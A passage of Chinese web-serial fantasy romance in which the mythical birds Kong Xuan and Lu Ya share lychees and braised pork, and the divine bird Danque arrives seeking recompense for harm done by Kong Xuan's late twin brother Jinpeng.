陆压这一来一回只出去了五个多小时,他一手提着荔枝一手提着蛇皮袋进门时,孔宣刚睡了一觉起来。 孔宣揉着眼睛,身上宽松的衣服挂在肩膀上,被冷风一吹空荡荡地飘起。 他打了个哆嗦,显然是有点被冷到了,忍不住打了一个哈欠,懒洋洋地问陆压:“鸦,我的荔枝。” 他伸出手,眼底还带着未醒的潮意,腮帮子微微鼓动,泄露出几分孩子气。 孔宣也不问陆压这几个小时干嘛去了,对于他来说就是一觉醒来,自己要的荔枝就到了。 清甜的荔枝个大滚圆,拿到手上沉甸甸的一袋。 孔宣拎着袋子欣喜地数了数,跟着陆压的脚后跟走到厨房,一个一个拿出来。 他自觉自己公平公正,陆鸦鸦一个他一个,分到最后还剩下一个,他捏着荔枝偷偷往周围看了一圈,嗷呜一口咬进嘴里。 好甜! 他不由欢喜,高兴地弯起眉眼,忍不住哼起小调。 “大王这么喜欢?”陆压看他高兴,忍不住弯了弯唇角,身上落拓冷凝的气场散去,只剩下平淡老实的表象。 孔宣被他一问,顿时得意地翘起嘴角,贪心地舔了舔手指:“好吃,爱吃,多吃!” 他实在喜欢得不行,吃过一个马上剥下一个,汁水溅到手背,湿红的舌尖撩过,他抬眼睨向陆压。 陆压正拎着蛇皮袋往外掏肉,大块大块的肉条被掏出,少说有一百多斤,和一个成年人不相上下。 他动作忙碌,一点顾不上荔枝。 正处理着这一百多斤的肉,一枚荔枝落在嘴边。 陆压下意识看向孔宣,孔宣朝他扬眉,他稀里糊涂含进嘴里,舌尖掠过修长漂亮的指腹,指尖在他舌尖一颤,湿淋淋地沾着湿粉,好看极了。 孔宣靠在洗手池上,一边回手给自己喂荔枝一边看陆压拿刀处理这些“猪肉”。 刀光映出男人冷峻深沉的眉眼,也一同映出孔宣似笑非笑的表情。 他抿了一口荔枝水,似笑非笑地说:“甜吗?” “……甜。”陆压嗓音低沉,越发意味不明。 不知道是在说荔枝甜,还是…… 陆压面不改色,淡定得让人看不出情绪,连同这袋千里迢迢运来的肉块一样,显得理直气壮。 孔宣哼了一声,似嗔似笑。 “我要吃红烧肉。” “好。” “吃菠萝姑姥肉。” “好。” “我还要吃……” 孔宣念了一长串菜名,陆压都好声好气地答应。 他将袋子掏空,从里面掏出一身湿淋淋的雨衣,雨衣被人在水里涮过,拧不干净水就攀在窗台上晾干。 或许是台风天后温度上升,回南天要来了,挂在窗台上半天没干,反而把墙面沾湿。 陆压暂时把肉分门别类放进冰箱,他转头捞起雨衣时,就看到窗台上摆着一碗荔枝,沾着漂亮的水珠显得格外甜蜜。 陆压突然又想到了刚刚品尝到的滋味,他剥开一颗放进嘴里,无声抿起嘴角。 确实很甜。 不如之前吃到的甜。 陆压端着荔枝到大堂时,孔宣正拿着一颗荔枝看农业新闻。 他一边剥一边吃,眼睛还盯着屏幕,手里的荔枝剥开了就往嘴里送,看入神了连啃到荔枝皮也不知道。 “看什么呢,大王。” 陆压把荔枝倒进他碗里,陪着看新闻。 农业新闻正在播报一个新消息,台风天过后,本来已经萎靡不振的乡下农田居然奇迹般地迎来了超绝丰收。 原本还只能算青储饲料的大米小麦一夜之间成熟,圆滚滚的麦穗挂在枝头,只是站在边缘望俯拍,一片看不到尽头的金黄。 以前每次台风天,地里的农作物都要减产,还是第一次遇到大丰收。 主持人用高兴的声音不停播报这截喜讯,屏幕上的照片换了几张,都是各地丰收的奇景。 “又是妖怪?”陆压蹙眉。 孔宣咬到荔枝皮,呸呸吐了出来,假装若无其事地摸荔枝,指甲扣在荔枝皮上。 他咬了一口荔枝,甜滋滋的汁水与果肉入了口,立刻笑弯了眼,说出的话也甜滋滋的,甜蜜极了。 “是啊,是神迹呢。” 他笑眯眯的,手指在陆压眼前晃了晃,等陆压低下头,他弯起眼尾,眼尾垂下戏谑的弧度。 他撑着下巴,意有所指地说:“还是我们的老熟人。” “怎么样,你也要去截杀他吗?” 真是一点都骗不过孔雀大王。 陆压被聪明的孔雀大王点破,他低头蹭了蹭鼻子,莫名有点心虚。 “我也不是什么都管。” 这种能让粮食丰收的妖怪,他就不管。 “哼~”孔雀大王哼气,并不相信他的花言巧语。 现在说不管,之前也说不管,最后还不是都管了? 爱管闲事的陆鸦鸦。 陆鸦鸦爱管闲事,孔宣却只管自己想管的,不想管的,他管它洪水滔天。 孔宣手指还掐着荔枝,甜蜜蜜的汁水染湿了指尖,他朝陆压勾了勾手指,一把拽住陆压的衣领拉向自己。 两人的距离一下子拉得很近,陆压半伏在孔宣的上方,他一手摁住桌面一手扶着桌椅,克制着和孔宣的距离,即便如此,高大的身躯仍然不可避免地将孔宣笼罩身下。 分明被他笼罩在身下,孔宣却似真正的掌控者,不疾不徐地将指尖掐在他的衣领上,脸上露出似有若无的笑意,眼波流转间难以消减的戏谑如有实质,像是一把小勾子,黏黏糊糊地勾住陆压的心神。 他嘴角上挑,手上的甜腻慢条斯理地抹到陆压的脖颈间,尖利的指尖刮蹭过血管,他脑袋微偏,倾听男人吞咽的低语,恶劣地笑出了声。 “陆鸦鸦。”孔宣在陆压耳边低语。 暗色的阴霾笼罩在他的眉眼,他眉眼冷诮,眼尾上挑起蛊惑人心的弧度,恶劣又玩味地警告。 “玩玩可以,当心玩脱了,还要我来救你。” 那到时候,陆鸦鸦在他面前可就没什么话语权了。 陆鸦鸦要是敢玩脱了,孔雀大王也不是不可以出面主持“正义”。 只是他可不像陆鸦鸦那么心善,还管什么洪水滔天,他只管他想管的。 孔宣轻哼一声,攥紧的手掌散开,拂过陆压的衣领,轻轻将他推开。 陆压几乎能从他身上闻嗅到甜蜜的荔枝香气,混杂着淡淡的木花气息,被体温醺出几分迷醉。 他的目光不可避免地落在孔宣近在咫尺的眉眼,与脖颈间露出的那一点俏白,顺着逶迤的长发将目光落在他的肩背。 即便是这样的姿势,孔宣的肩膀与背脊依旧挺直,只是脖颈后仰起一条动人的弧线。 陆压难以抑制,更添迷乱。 被推开时,陆压才低声答应:“不会的。” 是不会玩脱,还是不会多管闲事? 孔宣睨了他一眼,水光潋滟的唇抿起一个弧度,似笑非笑的。 屋外短暂地出了一会儿太阳,没过多久又昏昏暗地落了下去,只剩下一片寂寥的昏黄晕红了半边天,秾烈的色彩压抑在地平线上,肆意挥洒着剩余的光泽。 夜幕降临,路边的路灯一盏接一盏地亮起,接连照亮长长的行道,没入一片无法预兆的黑暗中,唯有两侧楼房的灯火依旧明亮,点燃了平静的万家灯火。 孔宣将窗户一一拉上,婉拒了小虫子的进入,蹦蹦跳跳去添鸟粮时,不忘给自己嘴里塞几颗。 厨房在他背后亮起灯火,陆压在窗边低头系着围裙,散落的发丝遮住了冷凝的眉眼,越发泄露出几分家庭煮夫的贤惠感。 他从带回来的肉堆里挑出两条肥瘦相间的五花肉,家里没有菠萝,就暂时准备切段烧成五花肉。 将肉切成大小一致的小块,把葱白和姜切成片备用。 将肉放进锅里,冷水没过,大火煮沸焯水,用葱白和姜去腥,陆压在这一步特意翻出之前没喝完的半瓶米酒,沿着边缘浇了一点。 焯水后,锅里放油,五花肉下锅煎至两面变色捞出,锅里煎出的油洒冰糖炒糖色。 炒出糖色后将五花肉倒下去,将五花肉都裹满糖色,加入葱姜和香叶、八角、桂皮炒香,期间加入生抽、老抽、蚝油、白糖和料酒,炒好之后倒入砂锅加水焖煮。 这期间,陆压用玉米和火腿肠素炒,又用冬瓜煮了一锅冬瓜瘦肉汤。 两菜一汤,两个人刚刚好。 他动作娴熟自然,出锅装盘心如流水,不到一个小时菜就端上了餐桌。 等陆压端菜出去这一会儿工夫,砂锅盖子响动,陆压把偷吃的小孔雀堵在厨房,他抱着手臂,朝孔宣扬了下眉。 孔宣简直要炸毛了,又是心虚又是傲气,色厉内荏地露出凶巴巴的表情,大声哗哗:“我什么都没干——” 不打自招了。 孔雀大王更是炸毛,看不见的羽毛炸成一团,瞪圆了眼睛警惕地望着陆压,还下意识把手藏了起来。 和之前拉着陆压的衣领警告的嚣张模样简直两模两样。 陆压忍不住偏头,像是被可爱到了,眼睛忍不住看向孔宣。 孔宣也知道自己不打自招了,他扁扁嘴巴,气哼哼地不知道在生什么闷气,腮帮子一鼓很是不忿。 眼见陆压朝自己走来,他眼睛滴溜溜转了一圈,机敏地绕着陆压走开,衣摆在空中转了一圈没碰到陆压一点,更让他脚步欢快,背着手就要溜走。 “大王。”陆压叫他。 孔雀大王回头一瞪,恶声恶气的:“干嘛!” 他色厉内荏,支棱着脖子,一副警惕凶戾的模样,努力让自己看起来不好招惹。 等陆压用筷子夹起一块肉送到他嘴边,满眼的锐利瞬间化为清澈,他呆呆地瞪圆了眼睛。 反应过来后,他嘴角疯狂上扬,心满意足地将送到嘴边的肉吃进腮帮子,满足地眯起眼睛,露出愉悦至极的表情。 他满意又高兴,腮帮子鼓起一边,咀嚼的同时不忘对着陆压扬眉。 像是获得了某种胜利。 陆压只觉得好笑,把锅盖一盖,让孔宣往旁边让让,自己端上了餐桌。 锅盖一掀开,袅袅热气扑面而出,也将红烧肉的香气放出。 漂亮的红烧肉堆在锅里,孔宣眼巴巴地跟着,立刻被漂亮的糖色吸引,嘴巴里还嚼着肉,手上的筷子就把持不住了。 肥瘦相间的五花肉煎过之后外表酥脆,裹满的糖色味甜又鲜美,没有一点臊味,反而炖到软烂,入□□汁。 甜蜜的甜味很淡,几乎只是起到点睛之笔的作用,红烧的汤汁炖进肉里,和细腻的五花肉汇合交融,产生了极其奇妙的味道,美味得令人着迷。 孔宣腮帮子嚼动,他吃了那么多美味,依旧被这一口红烧肉迷得神魂颠倒。 品尝到美味的幸福不加掩饰,直白地展露在人前,手上的筷子更是用得巧妙。 是吃了一块又一块,好吃得舌头都要吞下去了。 孔宣吃得满足,足有三四斤的肉被他和陆压瓜分干净,再来一口冬瓜汤清清口。 吃饱喝足后再一齐坐在后院的屋檐下吹凉风,这可真是神仙日子。 几只灰扑扑的小麻雀落在孔宣身上,孔宣眉眼张扬,脸上总是似有若无地带着笑,他伸出手,任由麻雀们在自己身上乱蹦。 有只小麻雀叽叽喳喳地跳到他肩膀上,亲昵地蹭了蹭,展开翅膀挑了支漂亮的羽毛。 一个错眼的工夫,小麻雀就叽叽喳喳地向孔宣求偶了。 没等孔宣反应,小麻雀顿时像是受到什么惊吓般,惊恐地张开翅膀,扑簌簌飞走了。 孔宣神情一怔,下意识地扭过脑袋。 陆压就站在屋檐下,黑天暗地的小院子只有两盏庭院灯浅浅提供照明,黑暗披在他的身上,只有那双黝黑深邃的眼睛明亮鲜明。 他就这样站在屋檐下望着他,长长的睫毛微微垂着,看不清神色清浅,明明灭灭地映出几分郁色。 “陆鸦鸦,你把我的小鸟吓走了。”孔宣伸着懒腰,顺手将身上的麻雀扫落。 他语气带笑,听不出是调笑还是问罪。 陆压只是抿起唇,线条漂亮的侧脸绷紧不悦的弧度。 第一次觉得院子里有太多鸟也不是什么好事。 小鸟……他也是小鸟,孔宣怎么谁都叫小鸟! 陆压心绪不定,又想起了穆怜青的话,觉得那只青鸟说的也不一定是真的。 漂亮的小鸟找伴侣,都是各凭本事。 他心怀鬼胎,不肯搭孔宣的玩笑话。 孔宣也不生气,歪着脑袋看他,眼中漫起似水般的笑意,好似有月光落在他的身上,浅浅地萦着柔和的光彩。 “你把我的小鸟吓走了。”他又重复说,拖长了语调,吸引人注意的同时偷偷翘起唇角,狡黠地眨了眨眼。 “你得赔我一只。” 陆压:“怎么赔?” 那当然是…… 孔宣意味深长的目光落在陆压身上,弯起唇角:“让我看看你现在是什么样子了!” 把陆鸦鸦自己赔给他。 陆压不愿意让孔宣看到自己二次觉醒血脉后的样子,越不让看孔宣越好奇。 两个人在院子里斗智斗勇,谁都奈何不了谁。 不远处的乡间。 一只行如鹤鸟的五色飞鸟落入水田,它低头啄食五谷,抬头望去,眼睛里清晰地倒影出模糊在黑暗中的几山。 明明与几山相隔几百里,它目光深邃,依旧将山间情况收入眼底。 一眼看到山间被肢解丢弃的残骸,血淋淋地披在泥巴里,雨水将血水冲散,只剩下散未消散的神光。 “金乌……” 它轻声低语,拍打着翅膀,优雅地行走过凹凸水田,每走一步它低声呢喃,喉间溢出清脆的鸟鸣。 “孔雀。” “我要来找你了。” “我马上就要到了。” 第40章 第40章红烧闻獜肉2 “唔?…… “唔?” 吃雪糕的动作顿住, 孔宣莫名抬起头,视线精准转向一个方向。 陆压在他旁边翻群聊,拿小号偷偷畅游妖管局私密,察觉到他的动静, 下意识转头看他:“怎么了?” “没什么。”孔宣回答, 话说出口, 他又接着说:“好像有人在看我。” 他们在房间里坐着,面前的电视机正播放着《舌尖美味》, 孔宣一边咬雪糕一边看电视,他说得漫不经心的, 显然没有把这种莫名其妙的预兆当回事。 孔雀大王从来一力降十会,见招拆招,半点不带怕的。 陆压一时没说话,随手将几张聊天截图,状似不经意地问:“大王。” “你仇人很多吗?” 这话说的。 孔宣忍不住笑出了声, 他眉眼弯弯,恶劣又得意地睨向陆压, 嘴角翘起的笑容神气极了。 “这可就多了, 不过活着的嘛。”他笑容玩味,意味深长地说:“我可从来没有隔夜仇。” 他一般当场就报。 仇人?哼。 “这样。”陆压若有所思, 将记事本里的“解决仇敌”删掉。 没有要解决的仇敌, 但不代表没有事找上门。 一连几天,新闻里都在播报奇妙地丰收奇景。 陆压每次到点都会打开电视看新闻, 听了几天,他打开地图,对着来广市的地图沉思了几秒。 “大王,你觉不觉得这东西离我们越来越近了?” 他说话诚恳, 用记号笔在新闻播报的地点大佬一个圈,标上时间序号。 地图上的几个地点离他们越来越近,新闻播报已经从隔壁市播报到了来广市郊外乡下奇异的丰收故事,颇有种风雨欲来的感觉。 孔宣探头看了几眼,也跟着摸下巴:“是诶。” “不过你不觉得,这距离九凤也很近吗?”他掏出手机,对准地图拍了张照,直接私聊给了九凤,又发到了群里。 他哒哒哒摁了一通手机,手指按得嗒嗒作响,敌人还没出现,先打出了要寻仇的架势。 :哪个不怕死的来找我寻仇? :@全体成员你们有什么头绪吗? 寻仇可谓是经典话题,群里的神鸟有一个算一个,除了青鸾句芒这类纯素神鸟宽容大度,其他的气量一个比一个小。 特别是某些性格张扬霸道的神鸟,招惹仇家那叫一惹一个准,哪个背后不拖百八十个仇敌? ——特指朱雀陵光。 一群神鸟捕捉到寻仇二字,立刻炸开了锅。 :谁?谁来寻仇?寻谁的仇? :孔宣你是知道我的,我的仇当场就报了,留不到现在的。 :孔宣你是了解我的,不是我,我现在在大西北吃黄沙,你这方向和我也不搭噶啊! :孔宣,我就不用多说了吧,我平时不和人结仇的。 …… 一群鸟讨论半天,除了撇清自己的关系,就是到处偏题,叽叽喳喳地聊了一圈,一个出主意的都没有。 孔宣指望不上这群鸟脑袋了,他把手机一兜,嚣张表示:“管它来的是谁,敢找我的麻烦,来一个我杀一个,来一对我杀一双!” 谁敢招惹他孔雀大王! 他说得慷慨激昂,精神抖擞,拍着胸脯一脸跃跃欲试。 是巴不得有人来找麻烦。 陆压默默把“解决仇敌”这几个字又打上备忘录了。 除此之外,两个人有一个算一个,一点都没有仇敌将近的危机感。 陆压盘算冰箱里的肉还能吃几顿,等下出门得去外面的小超市买个菠萝回来,给孔雀大王做姑姥肉。 “大王,我出门买菠萝了。” 他知会一声,钥匙兜进了口袋里。 孔宣比划了一个OK的手势,听到陆压出了门,他歪过脑袋往外看了看,自己又爬上了三楼,站在阳台上撑着下巴看陆压走远。 顿时欢呼一声,一下子窜到陆压的电脑椅上,兴奋地原地转了一圈,用脚划拉着椅子,滚轮咕噜噜往电脑桌前滚。 孔宣轻车熟路地打开电脑,摸索到论坛网址,心虚地往后看了一眼,开始水起了论坛。 你说论坛这种东西谁发明的呢? 孔宣无师自通点进闲聊区,满脸紧张兴奋地看起了炸裂帖子。 #震惊!和前妻姐离婚后,她和我弟弟勾搭到一起给我生了一个孩子# #扒一扒我那雌雄通吃的双/性现任# #我是大婆她是小三,是的我们在一起了# …… 好炸裂好赤激! 孔宣满脸激动,摸进论坛时,眼底映着绚丽光彩,犀利的目光精准捕捉极致八卦,品味炸裂妖生。 陆压一直认为网络毒害孔雀,禁止孔雀大王登陆论坛看妖族八卦。 万万没想到灯下黑不外如是,孔雀大王自有办法! 畅游在八卦的海洋里,孔宣看得无法自拔,俨然一副网瘾少年的模样,手指按着滚轮划拉划拉,一目十行看得飞快。 他正看到一个#超雄儿子与恋爱脑儿媳的后宫传#,突然一声巨响,轰隆一声,一道雷鸣轰然从头顶砸下。 孔宣临危不乱,趁这点时间飞速看完全部帖子,一通关机拔电做得十分迅速。 他用脚一踢,电脑椅带着他飞速逃离现场,“呲溜”飞到了楼梯口,三两步跨到屋顶。 只见黑云压城,天光遮蔽,只剩下一片降临到头的雨云轰然打响三个雷,“哗啦啦”掉下绵绵细雨。 孔宣走上楼顶的一瞬间,绵绵细雨浇在他的身上,瞬间浇出一片雾蒙蒙的水汽。 他黑发披散,蜿蜒粘在身上,衬出身上濡湿的线条,越发泄露出几分禁忌落拓的涩意,如一尊被浇湿的白瓷,周身萦绕着漫长的、绵绵的朦胧雾色,模糊了他凶戾张扬的眉眼。 孔宣气笑了,将脸上水珠一抹,笑容狰狞扭曲,恶意十足地隐隐发笑。 “来寻仇就寻仇,浇我一身水是什么意思?挑衅我?” 他随手招来流风将雨云吹散,孤身而立,流风吹动他的衣摆,吹不散他眉眼中的戾气。 可流风吹散雨云,被遮掩的太阳重新挂在天上,一片耀眼的彩虹猝然在雨云上方出现。 有了阳光,浇下的雨水疯狂催动植物的生长。 没一会儿,院子里的桃树坠满了桃子,墙边半死不活的凌霄花花一朵接一朵地盛开…… 等陆压买完菠萝回来,看到被植物淹没的街道顿时怔住。 原本就被大树遮住一半招牌的小餐馆现在彻底被路边的木槿花淹没,肆意生长的野菊从砖缝间一丛一丛生长,凌霄花从邻居家的院子攀到了屋顶,从屋顶垂落下一片密不透风的阴影。 陆压出门半个小时,像走了一百年,被植物占据了小院。 他怔怔发懵,就见楼顶上一个小小的人影蹦跶着,嗓音急切地朝他招手:“陆鸦鸦——” 孔宣把手放在嘴边大叫,一脚踩到屋顶边缘,差点没被怒涨的植物淹没。 孔宣没了耐心,差点就想自由落体下楼。 他的身后,一只似鹤的神鸟亭亭玉立,它立于花丛中,歪头打理着五彩的羽毛,优雅几乎刻进它的骨骸,姿态秀美从容。 它口吐人言:“不要那么着急,孔雀,我们还有很多时间。” “丹雀。”孔宣扭过头,额心皱起两个小尖角,神情格外不悦:“你把我家淹了。” “不要那么暴躁。”神鸟丹雀温声提醒,她歪过脑袋,一双眼睛温柔又包容地望着孔宣,嗓音似水般柔和极了。 “这并不是我的过失,也不是你的过失,只需要稍微处理……” 丹雀的话一顿,她突然转过脑袋,一个人从天台门上到了楼顶。 是陆压。 丹鹤的瞳孔清晰地倒映出来者的模样,她低声呢喃着“金乌”,又觉得有点奇怪。 她歪过脑袋,眼神上上下下地打量陆压。 她目光不含恶意,更多的是好奇,眼神在陆压的眉眼定了定,下意识看向孔宣。 孔宣面无表情地和陆压站到一起,抱着手臂很不爽地看着她。 丹雀礼貌地跟陆压问好:“日安,我是神鸟丹雀。很抱歉给你造成麻烦,稍后我会把这些都处理好的。” 她非常客气,温和的嗓音没有一丝傲气,像是一位和蔼可亲的长辈。 孔宣偷偷跟陆压科普:“她之前跟一个姓姜的人类寻觅草药,还挺有名气的,你知道吗?” 他睁圆了眼睛,就等陆压说不知道,好自己显摆显摆。 陆压十分老实,回答:“我知道。” 和神农一起找草药的神鸟,除了丹雀还有花蕊鸟,妖管局建立档案的时候和神鸟确认过它们的存在,只是已经很久没有出现了。 这样很久没有出现的神兽,妖管局基本上会挂为失踪,大概率是已经死了。 但丹雀没死,不止没死,她找上了孔宣。 陆压不动声色,瞳仁在她身上转了一圈,谨慎询问:“你来是?” 是复仇还是寻求帮助? 丹雀温和地说:“我是来找孔雀复仇的。” 这个回答大大出乎意料,毕竟她的态度是如此温和有礼,温柔的语调甚至没有一丝变化。 被寻仇的孔宣一脸梦幻迷茫,脑子似乎卡壳一瞬,看似面无表情其实CPU已经干烧了。 他不自觉后仰,本能发问:“我们有什么仇?” 他和丹雀都不熟! 陆压却没有什么诧异,他点了点头,主动挡在孔宣面前,礼貌地回绝:“这恐怕不行。” 丹雀也很礼貌:“这是我和他的事,先生。” “他现在是我的员工,保证员工安全是我的义务。”陆压面不改色,有理有据地答复:“如果你要向他复仇,先和我打一架吧。” “哦,好吧。”丹雀拍拍翅膀,视线转向状况外的孔宣,礼貌询问:“那么你有什么异议吗?” 孔宣:“……” “你为什么要找我复仇?”他思考了很久,最终也没想到自己哪里和丹雀有矛盾。 事实上,丹雀这种老实鸟和孔宣并没有太多交集,除了“家族聚会”,他们甚至很少遇见,就算遇见也是井水不犯河水。 孔宣无所谓有人寻仇,但他可不会不明不白让人冤枉。 “这个问题,一时半会我们可能很难说清。”丹雀说,“事实上,你跟我无冤无仇,但你曾说过弟债兄偿,这句话我想应该还算数吧?” 丹雀说话并不尖锐,她彬彬有礼询问孔宣的意见,说完之后歪了下脑袋,主动做出倾听的动作,是可以沟通的。 她外形似鹤,五色的羽毛色彩并不秾烈,相反是呈现暗淡的色泽,披覆在身上汇聚成一片昏暗的霞光,如同从末日黄昏时飞出的救世之鸟。 她曾指引神农寻找治病救人的草药,在功成后隐秘于田野间,无数次拯救重病之人的性命。 德高望重,功德无量。 丹雀不会说谎,孔宣眉头下压,他面色冷凝,周身凝固着难以消减的阴霾。 他喃喃重复:“弟债兄偿?原来如此。” 他是说过这样的话。 他纤长的睫毛颤抖着,猝然抬起眼睛,主动朝丹雀走去。 陆压想要拦他,被他反手推开。 “这是我的事情。”孔宣第一次在陆压面前露出这样冷冽的表情,他孤身走向丹雀,不容任何回转。 “金鹏……他做了什么?你想要怎么样?” 他长身玉立,瘦弱的身躯站得笔直,依旧不减傲气,如青竹般孤高。 即便面对丹雀这个受害者,也没有丝毫弱气。 丹雀并不在意这个态度,她只是点头。 “好,你愿意承担就好。” 她语气带笑,似乎十分赞善孔宣的态度:“金鹏要是和你一样就好了,凤凰也能安心了。” “你知道的,金鹏那个混世魔王……””……丹雀!”丹雀的感慨被孔宣打断,孔宣无法忍受这种话,他语气压抑,透着隐痛: “他从小遗落在外,他有什么错!有什么错,我会为他一并承担,你尽管开口。” 丹雀面露不赞同,就是这样过于宽容的态度,才会导致金鹏越来越过分。 不过这种话丹雀不会再说,她叹了口气,语气也郑重了起来:“金鹏,他杀死了我们的孩子。” 正准备聆听一场祸事的孔宣:??? “你、你说什么?”一向聪明的孔宣大王又露出了那种空白茫然的表情,卡带般张合着嘴巴,迟迟发不出更多的声音。 他已经准备好金鹏是又弄死了什么人,或者又打伤了哪只神兽,亦或者悄悄准备什么邪恶计划…… 孔宣会立刻把这该死的熊孩子捉拿归案,并且赔偿受害者,他给金鹏擦了几千年屁股,闭着眼都能猜到他干了什么祸事。 但在孔宣心里,金鹏依旧是初见时那只羽毛杂乱的黄金小鸟。 他只是恶毒了点,行事张扬了点,爱欺负人了点…… 孔宣听到这句话的第一反应就是怒不可遏。 “丹雀!”孔宣气得吱哇乱叫,要不是陆压眼疾手快一把圈住他的腰,他能扑上去跟丹雀打一场。 被陆压圈住,他挥拳踢腿一个劲的挣扎,气鼓鼓的炸成一团:“他自己都还是一个孩子!他能跟谁生孩子!” “你诱拐我弟弟——” 丹雀冷静分析:“和你一样大的孩子吗?你太溺爱他了,别忘了,你们是一母同胞的双胎兄弟。” 世人只看到了孔雀的强大与对金鹏长兄如父的维护,恐怕很少人知道,孔雀与金鹏是一胎双生的兄弟。 只有丹雀曾亲耳听到不周山上日夜不停地悲鸣。 “何况我与他之间谈不上诱拐,我与金鹏只是一场意外,他想要盗取我的力量,却没想到他的一丝气息与我交融,有感有孕,论起来我们并没有发生什么关系。” 只是,他们还有一个孩子。 丹雀闭上眼睛:“我需要你的心羽,孔雀,这是金鹏欠我的。” 在人类还是混乱割据,大概是南北朝时期,金鹏曾盗取涂山至宝,被九尾妲己打伤,阴差阳错下被丹雀救回。 彼时他身负重伤,为了活命哄骗丹雀将自己的神力全部灌输进他的体内。 只是他没想到,丹雀虽然温柔友善,却不是什么都不懂的好人,她防备金鹏一手,在争斗间他们的气息交融,承天之运有了一个孩子。 丹雀对这个孩子没有感情,甚至想过了结它的性命。 但是金鹏苦苦哀求她,说了很多可怜的话,希望她能把这个孩子生下,到时候他自会带着这个孩子离开。 丹雀知道他从小自己摸打滚爬长大,从没有感受到父母兄弟的关爱,甚至孔雀在凤凰怀里肆意撒娇时,他就不得不为生计拼命。 她知道金鹏的身世,对他有所怜惜。 然而,金鹏的话只是一个谎言。 最后丹雀被他打伤奄奄一息地陷入沉眠,孩子?早就死了。 丹雀把前因后果说完,静静地等待孔宣的回答。 直至现在她的身体也并没有好转,是渡不过大劫的,唯有孔雀心头有一支凤凰的心羽,可使神人浴火重生。 金鹏欠她的,她要凤凰的心羽还。 可是孔宣哪还有什么能浴火重生的心羽? 孔宣怔了几秒,随后面不改色地说:“换一个吧,心羽已经没了。” 丹雀猝然盯住他:“你不想给我?” 她突然意识到什么,不可置信到睁圆了眼睛,激奋拍打的翅膀猝然倾颓落下:“……金鹏已经死了?” “丹雀,现在已经是一千五百年以后了,我家哪来什么混世大魔王?” 孔宣忍不住自嘲,又忍不住叹气:“真是欠他的,什么保命的都塞给他了,他还是能把自己作死。” 凤凰捞了金鹏一回又一回,最后更是因为金鹏而死。 濒死间凤凰躺在孔宣怀里时,孔宣以为妈妈会交代他要照顾弟弟,这是理所应当的。 弟弟受了太多太多的苦,他在妈妈怀里撒娇时,弟弟连一口普普通通的蛇肉都吃不到,他天然就欠金鹏的。 可是妈妈在他怀里,只是摸了摸他濡湿的侧脸,将浴火重生的心羽送给他,叮嘱他一定要活得开心。 她一句都没有提金鹏,她只说:“崽崽是我的宝贝,你只要活得开心就好。” 孔宣想,现在他只剩下金鹏一个家人了。 可是这唯一的家人、一直怨恨他的弟弟,最后也死了。 丹雀:“……怎么死的。” “他浴火重生后丢失了大部分力量,还要在外面搞淫祀,逼迫信徒每天去捉大量的蛇供奉他,太多人被他逼死了,没挡住群情激奋的百姓反抗就死了。” 孔宣已经很少和人说起过金鹏了,他甚至需要想一想,才能想起来他是怎么死的。 有点荒谬,又不是很意外。 至少孔宣刚听到的时候,还以为是个笑话。 直到他急急忙忙跑到他关押金鹏的洞府,发现藏匿他的洞府早就空无一人了。 他跟金乌好说歹说借的地方,让弟弟好好在扶桑树下养伤,结果他最后都在怪孔宣囚禁他的自由。 孔宣忍不住抑郁:“我管不住他,我以为我把他保护得很好,没想到是这个结果。” 金鹏好像永远都在恨他,孔宣直到他死后很多年才肯承认,金鹏一直恨他,恨当年丢失的孩子是自己不是孔宣。 弟弟就是来讨债的,即便是一直明媚欢快的孔雀大王提到弟弟,也如被雨水催打的枝条,在难过中风雨飘摇,眉宇间的阴霾久久不散。 陆压无声按住他的肩膀,默默给他一点支撑。 丹雀思考过后认命了:“好吧,可能这是命中注定,孔雀,人死债消,我不要你偿还了。” “不。”孔宣一个激灵,从消沉中走出,他眉头倒竖,又立刻神采张扬起来,理直气壮地说:“他欠你的想不还了?你想都别想。” “你放心,我有的是力气和手段!绝对还你个物超所值。”孔宣攥起拳头,精神抖擞地哼哼许诺。 心羽没了怎么办?他孔雀大王有的是力气和手段。 “你等着吧!” 孔宣眉飞色舞,眼中明火灼灼,一扫抑郁更显斗志昂扬。 他一诺千金,绝对不会让丹雀白白吃亏。 就连陆压都忍不住露出疑问的表情。 丹雀更懵:“啊?” 不是,这又不是大白菜,你怎么还? 孔宣表示,别管,绝不会让丹雀吃亏 40-50 第41章 第41章红烧闻獜肉3 “你放…… “你放心吧, 丹雀,他欠你的,我一定会还。” 孔宣说这话时,陆压正清理暴涨到屋顶的藤木, 他拿着铲子埋头苦干, 用边缘敲断树枝, 再用铲子铲起丢到楼下。 整座小院被藤木草叶淹没,隐约能看出一点点楼房的模样, 就连屋顶的水泥地,都被植物发达的根系顶出一点缝隙。 他们只能从楼顶开始修剪, 抛到楼下整理好,等定时收垃圾的环卫工拉走。 老板陆压埋头苦干,号称被他雇用的孔雀大王两手空空,拍着胸脯神采飞扬地跟受害者保证。 丹雀轻叹:“我本来不应该来找你,孔雀。” 事实上, 天道送子的事情在原初并不少见,对于这样的孩子, 愿意地会好好养着, 不高兴地直接推出巢穴自生自灭,这在他们原初生灵眼中十分正常。 毕竟不能指望开天辟地后的第一波生灵有什么道德观、怜爱心。 凤凰这种有感有孕后, 还好好把孩子养大的才是稀有。 丹雀对有感有孕这件事很平常, 被金鹏背刺也算是在预料之中,如果不是大劫在即, 丹雀不会上门让孔雀承担他弟弟的过错。 陆压手上的动作顿住,目光转向丹雀,轻巧地来到孔宣身边低声询问:“大王,你要怎么赔偿?” 能浴火重生的心羽相当于一张保命符, 孔宣怎么赔? 这个不是个问题,孔宣头一仰,潇洒地抚开长发,利索摆手,神气活现地表示:“你别管,我自有办法。” “没有办法,我也能想出办法!” 孔宣说得信心满满,抬眼间眸底明亮的星火熠熠生辉,没有一丝一毫的抗拒与懒散。 眉飞色舞的,像是天底下没有什么他办不到的事。 短暂的失意之后,孔雀大王又充满了力量! 都说干活的男人最有魅力,孔雀大王又有责任心又努力,在陆压眼里当然魅力十足。 这样讨人喜欢的小鸟,不应该随随便便就被追债。 陆压轻声询问:“大王,金鹏的事方便和我说一说吗?” 孔宣有点不乐意,他支吾几声,看在陆压非常想知道的样子,他歪过脑袋,忍不住偏了偏头,小眼神偷偷瞥向陆压,被陆压捕捉后,立刻转向另一边。 陆压问:“很难说吗?” “也不是……”孔宣搔了搔侧脸,目光游离。 孔宣其实很少听说过弟弟的事,一枚丢失的蛋对于母亲凤凰来说,在当时就已经死了。 